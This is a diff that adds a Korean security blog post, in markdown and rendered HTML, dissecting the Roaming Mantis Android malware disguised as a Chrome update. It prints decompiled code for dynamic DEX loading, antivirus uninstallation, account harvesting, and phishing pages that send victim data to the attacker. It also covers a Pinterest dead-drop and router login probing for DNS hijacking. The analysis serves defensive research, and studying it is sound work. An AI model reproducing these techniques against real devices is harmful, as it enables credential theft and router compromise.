diff --git "a/_posts/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.md" "b/_posts/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.md" new file mode 100644 index 0000000..40eb5e7 --- /dev/null +++ "b/_posts/2023-11-15-Android-malware-\354\202\254\353\247\210\352\267\200-\355\225\264\353\266\200\355\225\231-ko.md" @@ -0,0 +1,617 @@ +--- +layout: post +markdown: kramdown +highlighter: rouge +title: "Android Malware : 사마귀 해부학" +date: 2023-11-15 10:00:0 +0900 +category: R&D +author: Hyerim Jeon +author_email: hrjeon@stealien.com +backgrunf: /assets/bg.png +profile_image: /assets/stealien_inverse.png +summary: "about Roaming Mantis" +thumbnail: /assets/2023-11-15-Android-malware-사마귀-해부학/19.png +lang: ko +--- + +# Android Malware : 사마귀 해부학 + +
+ +**목차**
+————————————— +1. **Intro** +2. **Roaming Mantis?** +3. **Analysis** + 1. **Download & Install** + 2. **Dynamic Dex Loading** + 3. **Behavior Analysis** +4. **Outro** + +
+ +# 1. Intro + +![19.png](/assets/2023-11-15-Android-malware-사마귀-해부학/19.png) + +이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 ... 이 문자는 실제로 악성 앱이 설치됩니다. + +이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다. + +--- + +# 2. Roaming Mantis? + +분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는.. + +![0.png](/assets/2023-11-15-Android-malware-사마귀-해부학/0.png) + +Android Malware인 **Roaming Mantis**였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 **취약한 공용 라우터를 장악하여 DNS 서버를 변조**(**DNS Hijacking**)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다. + +가령, `google.com`으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 사용자를 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다. + +이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다. + +또한 **Wroba계열의 Mobile banking Trojan**을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다. + +출처 : [https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers](https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers) + +--- + +# 3. Analysis + +![2.png](/assets/2023-11-15-Android-malware-사마귀-해부학/2.png) + +분석 Flow Chart입니다. + +각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다. + +## 1) Download & Install + +![3.png](/assets/2023-11-15-Android-malware-사마귀-해부학/3.png) + +문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다. + +Download를 진행하면 `chrome.apk` 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다. + +![4.png](/assets/2023-11-15-Android-malware-사마귀-해부학/4.png) + +frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다. + +이 중 `rbj.xnmp.gjga.ucms`가 악성 앱, `com.android.chrome`이 진짜 chrome입니다. + +## 2) Dynamic DEX Loading + +Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다. + +주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다. + +![5.png](/assets/2023-11-15-Android-malware-사마귀-해부학/5.png) + +
+ +① **Encrypted DEX Loading** + +가장 먼저 실행되는 것은 `ImApplication.c("rrkf")` 로, `rrkf`를 인자로 `wo.pi` method를 호출합니다. + +```jsx +// str = "rrkf" +private void c(String str) { + b(str, wo.pi(this, str, 1, false, "")); +} +``` + +`Java_n_wo_pi()` 함수는 `rrkf`를 인자로 받아, `rrkf/lqcttjs` 경로를 완성합니다. + +완성한 경로를 `getAssets()` 함수의 인자로 사용하여, `assets` 폴더 하위의 `rrkf/1qcttjs` 파일 내용을 가져옵니다. + +```java +// v7 = rrkf/1qcttjs +// v10 = getAssets() +// v13 = open(Ljava/lang/String;) +v19 = _JNIEnv::CallObjectMethod(v7, v10, v13); +``` + +실제로 `assets` Directory 에는 아래와 같이 `rrkf/1qcttjs` 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다. + +![6.png](/assets/2023-11-15-Android-malware-사마귀-해부학/6.png) + +
+ +② **Decrypt DEX** + +따라서 `Java_n_wo_pi()` 내부에는 가져온 `1qcttjs` 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 `wo.pi` 는 Dectyped DEX 내용을 return 합니다. + +```java +while ( 1 ) +{ + v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read + if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우 + { + _JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료 + ... + if ( v64 ) + { + v65 = v64; // 5. 복호화 된 내용 저장 + operator delete(v64); + } + return; + } + v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동) + ... +} +``` + +
+ +**③ Save Dynamic DEX** + +복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 `ImApplication.e()` method에서 확인할 수 있습니다. `e`는 `/data/user/0/rbj.xnpm.gjga.ucms/files/b` 와 복호화된 파일 내용을 인자로 받아, `wo.or` 을 호출합니다. + +```java +private static Object e(String str, Object obj) { + //str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b" + //obj = 복호화한 dex파일 + return wo.or(str, obj, 0); + } +``` + + `Java_n_wo_or()` 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다. + +```java +v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array +v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b +... +fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성 +``` + +**따라서 복호화된 DEX 파일은, `/data/user/0/rbj.xnpm.gjga.ucms/files/b` 경로에 저장되게 됩니다.** + +
+ +**④ Load Class** + +`ImApplication` 에서 가장 마지막에 실행되는 a method입니다. + +```java +private void a(Object obj) { + // obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b) + // wo.ls(1) = com.Loader + Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true); + this.b = cls; + // wo.iz = 인자를 create() 함 + a = wo.iz(cls); + } +``` + +`wo.iz` 는 인자를 create() 하므로, 인자로 들어가는 `cls` 즉, `wo.kw` 의 내용을 보아야 합니다. `wo.kw` 는 아래의 코드로 동작을 요약할 수 있습니다. + +```java +// v7 = loadClass(com.Loader) +return _JNIEnv::CallObjectMethod(v5, v4, v7); +``` + +`locaClass()` method에 인자로 들어간 `com.Loader` Class를 호출합니다. 이렇게 `b` 파일의 `com.Loaser` class를 인자로 받은 `wo.iz` 는 이를 `create()` 하며 Dynamic DEX Loading은 끝이 납니다. + +**그럼 이제 앱을 실행한 후, `/data/user/0/rbj.xnpm.gjga.ucms/files/b` 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.** + +## 3) Behavior Analysis + +이전 단계에서 획득한 `b` 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다. + +모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다. + +**이 중 Roaming Mantis의 핵심 동작(DNS 조작)은 ⑤ 공유기 장악 부분을 보시면 되겠습니다.** + +**① A사 백신 삭제** + +**② 국내 앱 계정 정보 수집** + +**③ Phishing 창 생성 #1** + +**④ Phishing 창 생성 #2** + +**⑤ 공유기 장악 (DNS Hijacking)** + +**⑥ C2 서버 - 공격자 서버 정보 파싱** + +**⑦ SMS 관련 동작** + +**⑧ 기타 동작** + +--- + +**① A사 백신 삭제** + +대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다. + +while문을 사용하여 설치된 Package명 중, 백신의 Package명(`com.a**lab.v*`)과 같은 게 있을 경우 삭제하도록 하고 있습니다. + +```java +while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null)); + v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장 +label_14: + String v2_1 = (String)v2; + if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행 + Intent v0_1 = new Intent(); + v0_1.setAction("android.intent.action.DELETE"); + v0_1.setData(Uri.parse("package:" + v2_1)); + v0_1.addFlags(0x10000000); + arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음 + } +``` + +실행된 Activity는 아래와 같이 보입니다. + +![7.png](/assets/2023-11-15-Android-malware-사마귀-해부학/7.png) + +--- + +**② 국내 앱 계정 정보 수집** + +아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다. + +```java +// 1. 기기에서 관리중인 계정 정보 수집 +Account[] v0_4 = ((AccountManager)v0_3).getAccounts(); + +// 2. 계정과 종류를 수집 +v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type); +``` + +수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다. + +![8.png](/assets/2023-11-15-Android-malware-사마귀-해부학/8.png) + +아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다. + +```java +v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장 +``` + +--- + +**③ Phishing 창 생성 #1** + +`com.Loader` Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다. + +![9.png](/assets/2023-11-15-Android-malware-사마귀-해부학/9.png) + +한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 `127.0.0.1:Random_port` 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 `%%ACCOUNT%%` 부분은 기기에 저장된 gmail 계정이 출력됩니다. + +![10.png](/assets/2023-11-15-Android-malware-사마귀-해부학/10.png) + +전달 받은 값은 `127.0.0.1:port/submit` 으로 전달, Response 값을 `setMyInfo` method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다. + +* Json-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JOSN 형식을 사용합니다. + +```c +v8_1 = (String)v7.get("name"); +v8_2.append(((String)v7.get("first_name"))); +String v0 = (String)v7.get("middle_name"); +v8_2.append(((String)v7.get("last_name"))); +String v2_1 = (String)v7.get("date"); +v2_1 = v2_1 + " " + ((String)v7.get("xx1")); +v2_1 = v2_1 + " " + ((String)v7.get("xx2")); +v2_1 = v2_1 + " " + ((String)v7.get("xx3")); +v2_1 = v2_1 + " " + ((String)v7.get("xx4")); +v2_1 = v2_1 + "/" + ((String)v7.get("ss1")); + +// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료 +String v0_1 = "JSON:" + new JSONObject(v7).toString(0); +this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a); +} +``` + +--- + +④ **Phishing 창 생성 #2** + +또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 `zc1`. `zc`. `scan` 일 경우 수행됩니다. 사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 피싱 페이지를 생성합니다. 아래는 일본의 통신사인 `domoco`를 사용 할 경우의 예시입니다. + +```java +else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우 + b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/"); + v7 = (String)v0_6.a(); + v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집 + v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" : // 3. 수집이 안 될 경우를 대비한 피싱 문구 + } +``` + +v0_6 변수를 보면, `https://www.pinterest.com/catogreggex11/`의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 `catogreggex11` 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다. + +![11.png](/assets/2023-11-15-Android-malware-사마귀-해부학/11.png) + +info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, `----` 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다. + +--- + +**⑤ 공유기 장악 (DNS Hijacking)** + +Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다. + +모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자 DHCP Server의 IP 주소를 수집합니다. + +```java +int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress; +``` + +DHCP 서버의 IP 주소를 알아봤자, 사설 IP의 주소일 가능성이 매우 크기 때문에 공격자는 직접 접근하기 어려울 것입니다. 내부에서 접근을 시도해야 하므로 공격자는 사용자의 기기로 접근합니다. + +공격자는 수집한 DHCP 서버의 IP 주소에 특정 TCP Port를 추가하여 로그인 페이지를 호출합니다. + +```java +int[] v5 = new int[]{8080, 8888, 80, 7777, 8899}; +for(v9 = "http://" + v2_1 + ":" + v8 + "/login/login.cgi"; true; v9 = v10_1.toString()){ + v9_1 = a.b.d(v9, false); +``` + +코드를 보면, `8080`, `8888`, `80` 등 주로 웹 서비스에서 사용하는 포트들을 대상으로 하는 것을 볼 수 있습니다. 그렇게 획득한 주소에 `/login/login.cgi` 경로를 붙여 최종적으로 `http://{DHCP_SERVER}:{PORT}/login/login.cgi` 라는 URL을 완성합니다. + +아래는 실행 시 실제로 보내진 HTTP Request Dump입니다. + +![12.png](/assets/2023-11-15-Android-malware-사마귀-해부학/12.png) + +URL의 경로에서 유추할 수 있듯, 공격자는 **공유기 관리 페이지에 접근**하여 실제 응답이 돌아오는 지 확인합니다. 그리고 만약 응답이 돌아온다면 저장하고, Refresh 혹은 Redirect 되는 Response가 온다면 해당 경로까지 접근하여 최종적인 Response를 받아옵니다. + +```java +Matcher v10 = Pattern.compile("http-equiv=\"?refresh\"? .+?URL=(.+?)\"", 2).matcher(v9_1); + Matcher v10_2 = Pattern.compile(" + + + + + + + + + + + + + + + + + + + + + + + +
+
+
+
+
+
+
+
+
R&D
+
Android Malware : 사마귀 해부학
+
+
+ + Hyerim Jeon +
+
Nov 15, 2023
+
+
+
+
+
+

Android Malware : 사마귀 해부학

+ +


+ +

목차
+—————————————

+
    +
  1. Intro
  2. +
  3. Roaming Mantis?
  4. +
  5. Analysis +
      +
    1. Download & Install
    2. +
    3. Dynamic Dex Loading
    4. +
    5. Behavior Analysis
    6. +
    +
  6. +
  7. Outro
  8. +
+ +


+ +

1. Intro

+ +

19.png

+ +

이 글의 주제가 되는 피싱 문자입니다. 5월 2일 실제로 많은 지인들에게 해당 문자가 배포되었습니다. 필자의 아버지가 매일 피싱 문자를 받지만, 광고 페이지로 Redirect 되는 것에 그쳤던 것에 반해 … 이 문자는 실제로 악성 앱이 설치됩니다.

+ +

이 글은 해당 앱을 실제로 설치, 분석하여 어떤 원리로 악성 행위가 일어나는 지 면밀히 관찰한 내용을 담고 있습니다. 저와 같이 보안 연구를 지망하고, 종사하시는 분들께 도움이 되길 바랍니다.

+ +
+ +

2. Roaming Mantis?

+ +

분석 중에 알게 된 사실이지만, 너무 잘 만들었습니다. 정성이 느껴지는 로직이 아주 많습니다. 게다가 여러 이름으로 배포되고 있다는 것도 알게 되었습니다. 따라서 이미 알려진 Malware일 것 같아 확인해본 결과, 이 앱의 정체는..

+ +

0.png

+ +

Android Malware인 Roaming Mantis였습니다. 2018년에 처음으로 발견된 아주 오래 된 Malware입니다. 가장 많이 알려진 기능은 취약한 공용 라우터를 장악하여 DNS 서버를 변조(DNS Hijacking)하는 것으로, 그렇게 되면 사용자가 어떤 사이트로 가더라도 공격자의 서버로 이동할 수 밖에 없습니다.

+ +

가령, google.com으로 가더라도 공격자가 똑같이 만든 Google 페이지에서 사용자를 로그인을 수행하게 될 것입니다. 그리고 이것은 같은 Wifi를 쓰는 모든 사용자에게 영향을 미칩니다.

+ +

이 앱은 다국가(일본, 오스트리아, 대한민국 등) 대상이지만, 2023년 관련 포스팅에 따르면 한국에 위치한 유명 네트워크 장비 공급 업체들의 라우터만을 표적으로 삼고 있다고 합니다.

+ +

또한 Wroba계열의 Mobile banking Trojan을 포함하고 있어, 해당 부분도 같이 살펴보게 될 것입니다.

+ +

출처 : https://www.kaspersky.com/about/press-releases/2023_roaming-mantis-uses-dns-changers-to-target-users-via-compromised-public-routers

+ +
+ +

3. Analysis

+ +

2.png

+ +

분석 Flow Chart입니다.

+ +

각각의 과정이 매우 복잡하기 때문에 어떤 부분을 분석하는지 이해하고 읽어주시면 감사하겠습니다.

+ +

1) Download & Install

+ +

3.png

+ +

문자의 URL에 접근하면 chrome 최신 버전으로 업데이트 하라는 안내 문자가 출력됩니다.

+ +

Download를 진행하면 chrome.apk 라는 파일이 다운로드 되며, 설치 후 앱을 실행하면 앱은 사라지고 상단 바에 chrome 로고를 확인할 수 있습니다. Background로 실행되기 때문에, 기기에 미숙한 사용자는 삭제 및 제어가 어려워집니다.

+ +

4.png

+ +

frida로 실행 중인 프로세스 목록을 확인해보면 chrome이 두 개가 된 것을 확인할 수 있습니다.

+ +

이 중 rbj.xnmp.gjga.ucms가 악성 앱, com.android.chrome이 진짜 chrome입니다.

+ +

2) Dynamic DEX Loading

+ +

Dynamic DEX 복호화 과정을 분석해보겠습니다. Flow Chart는 아래와 같습니다.

+ +

주요한 Method의 로직을 보면서, 어떤 과정으로 Decrypt DEX 파일을 Loading하는지 분석해보겠습니다.

+ +

5.png

+ +


+ +

Encrypted DEX Loading

+ +

가장 먼저 실행되는 것은 ImApplication.c("rrkf") 로, rrkf를 인자로 wo.pi method를 호출합니다.

+ +
// str = "rrkf"
+private void c(String str) {
+        b(str, wo.pi(this, str, 1, false, ""));
+}
+
+ +

Java_n_wo_pi() 함수는 rrkf를 인자로 받아, rrkf/lqcttjs 경로를 완성합니다.

+ +

완성한 경로를 getAssets() 함수의 인자로 사용하여, assets 폴더 하위의 rrkf/1qcttjs 파일 내용을 가져옵니다.

+ +
// v7 = rrkf/1qcttjs
+// v10 = getAssets()
+// v13 = open(Ljava/lang/String;)
+v19 = _JNIEnv::CallObjectMethod(v7, v10, v13);
+
+ +

실제로 assets Directory 에는 아래와 같이 rrkf/1qcttjs 경로의 파일이 있습니다. 해당 파일은 암호화된 내용으로, 정상적으로 읽을 순 없습니다.

+ +

6.png

+ +


+ +

Decrypt DEX

+ +

따라서 Java_n_wo_pi() 내부에는 가져온 1qcttjs 의 내용의 복호화를 수행하는 로직이 있습니다. 복호화를 완료하면 wo.pi 는 Dectyped DEX 내용을 return 합니다.

+ +
while ( 1 )
+{
+    v49 = _JNIEnv::CallIntMethod(v24, v61, v21, v48); // 1. 암호화된 파일 내용 read
+    if ( v49 & 0x80000000 ) // 3. 복호화가 끝났을경우
+    {
+      _JNIEnv::CallVoidMethod(v24, v61, v59); // close(), 4. 읽기 종료
+			...
+			if ( v64 )
+        {
+           v65 = v64; // 5. 복호화 된 내용 저장
+           operator delete(v64);
+				}
+        return;
+    }
+    v50 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v24 + 1472LL))(v24, v48, 0LL); // 2. 복호화 진행 (1로 다시 이동)
+   ...
+}
+
+ +


+ +

③ Save Dynamic DEX

+ +

복호화 된 DEX 파일의 내용은 어딘가 저장되어야 하는데, 그 과정은 ImApplication.e() method에서 확인할 수 있습니다. e/data/user/0/rbj.xnpm.gjga.ucms/files/b 와 복호화된 파일 내용을 인자로 받아, wo.or 을 호출합니다.

+ +
private static Object e(String str, Object obj) {
+				//str = "/data/user/0/rbj.xnpm.gjga.ucms/files/b"
+        //obj = 복호화한 dex파일
+        return wo.or(str, obj, 0);
+    }
+
+ +

Java_n_wo_or() 에서는 인자로 받은 경로에 DEX 파일의 내용을 저장하는 것을 볼 수 있습니다.

+ +
v7 = (*(__int64 (**)(void))(*(_QWORD *)a1 + 1472LL))(); // 복호화 DEX Byte array
+v8 = (*(__int64 (__fastcall **)(__int64, __int64, _QWORD))(*(_QWORD *)v6 + 1352LL))(v6, v4, 0LL); // /data/user/0/rbj.xnpm.gjga.ucms/files/b
+...
+fwrite(v7, v10, 1LL, v9); // 해당 경로에 DEX파일 내용 작성
+
+ +

따라서 복호화된 DEX 파일은, /data/user/0/rbj.xnpm.gjga.ucms/files/b 경로에 저장되게 됩니다.

+ +


+ +

④ Load Class

+ +

ImApplication 에서 가장 마지막에 실행되는 a method입니다.

+ +
private void a(Object obj) {
+				// obj = DexClassLoader(path = /data/user/0/rbj.xnpm.gjga.ucms/files/b)
+				// wo.ls(1) = com.Loader
+        Class cls = (Class) wo.kw(wo.ls(1), obj, false, 0L, "", true, 2, false, 1, true);
+        this.b = cls;
+				// wo.iz = 인자를 create() 함
+        a = wo.iz(cls);
+    }
+
+ +

wo.iz 는 인자를 create() 하므로, 인자로 들어가는 cls 즉, wo.kw 의 내용을 보아야 합니다. wo.kw 는 아래의 코드로 동작을 요약할 수 있습니다.

+ +
// v7 = loadClass(com.Loader)
+return _JNIEnv::CallObjectMethod(v5, v4, v7);
+
+ +

locaClass() method에 인자로 들어간 com.Loader Class를 호출합니다. 이렇게 b 파일의 com.Loaser class를 인자로 받은 wo.iz 는 이를 create() 하며 Dynamic DEX Loading은 끝이 납니다.

+ +

그럼 이제 앱을 실행한 후, /data/user/0/rbj.xnpm.gjga.ucms/files/b 파일을 획득하 악성 앱이 어떤 일을 수행하는 지 분석해봅시다.

+ +

3) Behavior Analysis

+ +

이전 단계에서 획득한 b 파일을 분석하여, 어떤 동작을 수행하게 되는지 분석해봅시다.

+ +

모든 동작을 분석하기엔 양이 너무 많으므로, 아래의 동작들에 대해서만 분석해보겠습니다.

+ +

이 중 Roaming Mantis의 핵심 동작(DNS 조작)은 ⑤ 공유기 장악 부분을 보시면 되겠습니다.

+ +

① A사 백신 삭제

+ +

② 국내 앱 계정 정보 수집

+ +

③ Phishing 창 생성 #1

+ +

④ Phishing 창 생성 #2

+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

⑥ C2 서버 - 공격자 서버 정보 파싱

+ +

⑦ SMS 관련 동작

+ +

⑧ 기타 동작

+ +
+ +

① A사 백신 삭제

+ +

대한민국에서 가장 유명한 A사의 백신을 삭제하는 로직입니다.

+ +

while문을 사용하여 설치된 Package명 중, 백신의 Package명(com.a**lab.v*)과 같은 게 있을 경우 삭제하도록 하고 있습니다.

+ +
while(!d.n.l.g(((String)v1), "com.a**lab.v3", false, 2, null));
+    v2 = v1; // 1. com.a***.v* 으로 시작하는 Package명이 있다면 저장
+label_14:
+    String v2_1 = (String)v2;
+    if(v2_1 != null) { // 2. 존재한다면, DELETE하는 Activity 실행
+        Intent v0_1 = new Intent();
+        v0_1.setAction("android.intent.action.DELETE");
+        v0_1.setData(Uri.parse("package:" + v2_1));
+        v0_1.addFlags(0x10000000);
+        arg8.startActivity(v0_1); // 안랩을 삭제하는 activity를 넣음
+    }
+
+ +

실행된 Activity는 아래와 같이 보입니다.

+ +

7.png

+ +
+ +

② 국내 앱 계정 정보 수집

+ +

아래는 기기에 저장된 계정들에 대해서 name과 type을 매칭하여 저장하는 로직입니다.

+ +
// 1. 기기에서 관리중인 계정 정보 수집
+Account[] v0_4 = ((AccountManager)v0_3).getAccounts();
+
+// 2. 계정과 종류를 수집
+v10_1.add(v0_4[v12].name + ":" + v0_4[v12].type);
+
+ +

수집한 type들 중 아래의 패키지명이 일치하는 계정이 있다면 내용을 수집합니다. 패키지명은 국내 게임사, OTP, 포인트 관련 패키지명들이었습니다.

+ +

8.png

+ +

아래는 S사의 포인트 앱 happy***** 의 저장 예시입니다.

+ +
v9.add("Happy*****:"); // 계정이 존재한다면, comment와 함께 저장
+
+ +
+ +

③ Phishing 창 생성 #1

+ +

com.Loader Class에는 static으로 정의 된 HTML/javascript 코드들이 있습니다. 해당 코드를 정적으로 확인하면 아래와 같은 Phishing 페이지를 확인할 수 있습니다. 여러 나라를 대상으로 악성 행위를 수행하기 때문에, 사용자의 환경에 따라 언어를 출력하도록 되어있습니다.

+ +

9.png

+ +

한국어에서 값을 가져와서 확인해보면, 아래 같은 페이지를 확인할 수 있습니다. 이 페이지는 127.0.0.1:Random_port 로 열리는 Web view Activity로, 사용자는 안전 인증 페이지로 오인하여 본인의 정보를 입력할 수 있습니다. 이 때 %%ACCOUNT%% 부분은 기기에 저장된 gmail 계정이 출력됩니다.

+ +

10.png

+ +

전달 받은 값은 127.0.0.1:port/submit 으로 전달, Response 값을 setMyInfo method로 JSON-RPC 통신하게 됩니다. 즉 공격자에게 전달됩니다.

+ +
    +
  • Json-RPC는 원격 프로시저 호출을 위한 프로토콜입니다. 서버와 경량의 데이터 교환을 수행하는데, 이 때 JOSN 형식을 사용합니다.
  • +
+ +
v8_1 = (String)v7.get("name");
+v8_2.append(((String)v7.get("first_name")));
+String v0 = (String)v7.get("middle_name");
+v8_2.append(((String)v7.get("last_name")));
+String v2_1 = (String)v7.get("date");
+v2_1 = v2_1 + " " + ((String)v7.get("xx1"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx2"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx3"));
+v2_1 = v2_1 + " " + ((String)v7.get("xx4"));
+v2_1 = v2_1 + "/" + ((String)v7.get("ss1"));
+
+// 수집한 정보를 JSON-RPC로 전달, 웹 서버 종료
+String v0_1 = "JSON:" + new JSONObject(v7).toString(0);
+this.c.g.f("setMyInfo", new String[]{v8_1, v0_1}).f(new Loader.t0.a(this, v7), Loader.t0.b.a);
+}
+
+ +
+ +

Phishing 창 생성 #2

+ +

또 다른 Phishing 창의 예시를 살펴봅시다. 이 Phishing은 앱 이름이 zc1. zc. scan 일 경우 수행됩니다. 사용자가 어떤 통신사를 사용하는 지에 따라, 그에 맞는 피싱 페이지를 생성합니다. 아래는 일본의 통신사인 domoco를 사용 할 경우의 예시입니다.

+ +
else if(l.j(v0_3, "docomo", false, 2, null)) { // 1. domoco 통신사일 경우
+                    b v0_6 = this.a.h("https://www.pinterest.com/catogreggex11/");
+                    v7 = (String)v0_6.a();
+                    v0_5 = (String)v0_6.b(); // 2. 위의 URL에서 info 정보 수집
+                    v1 = i.a(v0_5, "") ? "【JNB】お客様がご利用のジャパンネット銀行に対し、第三者からの不正なアクセスを検知しました。ご確認ください。" :  // 3. 수집이 안 될 경우를 대비한 피싱 문구
+                }
+
+ +

v0_6 변수를 보면, https://www.pinterest.com/catogreggex11/의 주소로 접근하려는 것을 볼 수 있습니다. Pinterest는 유명한 이미지 공유 사이트로, 피싱 사이트가 아닙니다. 해당 URL은 경로에 적힌 catogreggex11 계정의 프로필 페이지에 접근 하는 것으로, 한번 직접 접근해보도록 합시다.

+ +

11.png

+ +

info 문구를 보면 통신사에 맞는 Phshing 문구가 입력되어 있는 것을 확인할 수 있습니다. 위의 코드에서 v0_5는 이 info 문구를 parsing 하고, ---- 를 기점으로 각각 Notification의 문구와 Notification 클릭 시 open되는 WebView URL로 사용합니다.

+ +
+ +

⑤ 공유기 장악 (DNS Hijacking)

+ +

Roaming Mantis의 가장 핵심이 되는 공유기 장악 기능을 분석해봅시다.

+ +

모바일 환경에서는 대부분의 기기가 공유기(라우터)를 DHCP 서버로 두고 IP 및 DNS 주소를 할당 받는 방식을 사용하고 있습니다. 따라서 공격자 DHCP Server의 IP 주소를 수집합니다.

+ +
int v2 = ((WifiManager)this.n.getApplicationContext().getSystemService("wifi")).getDhcpInfo().serverAddress;
+
+ +

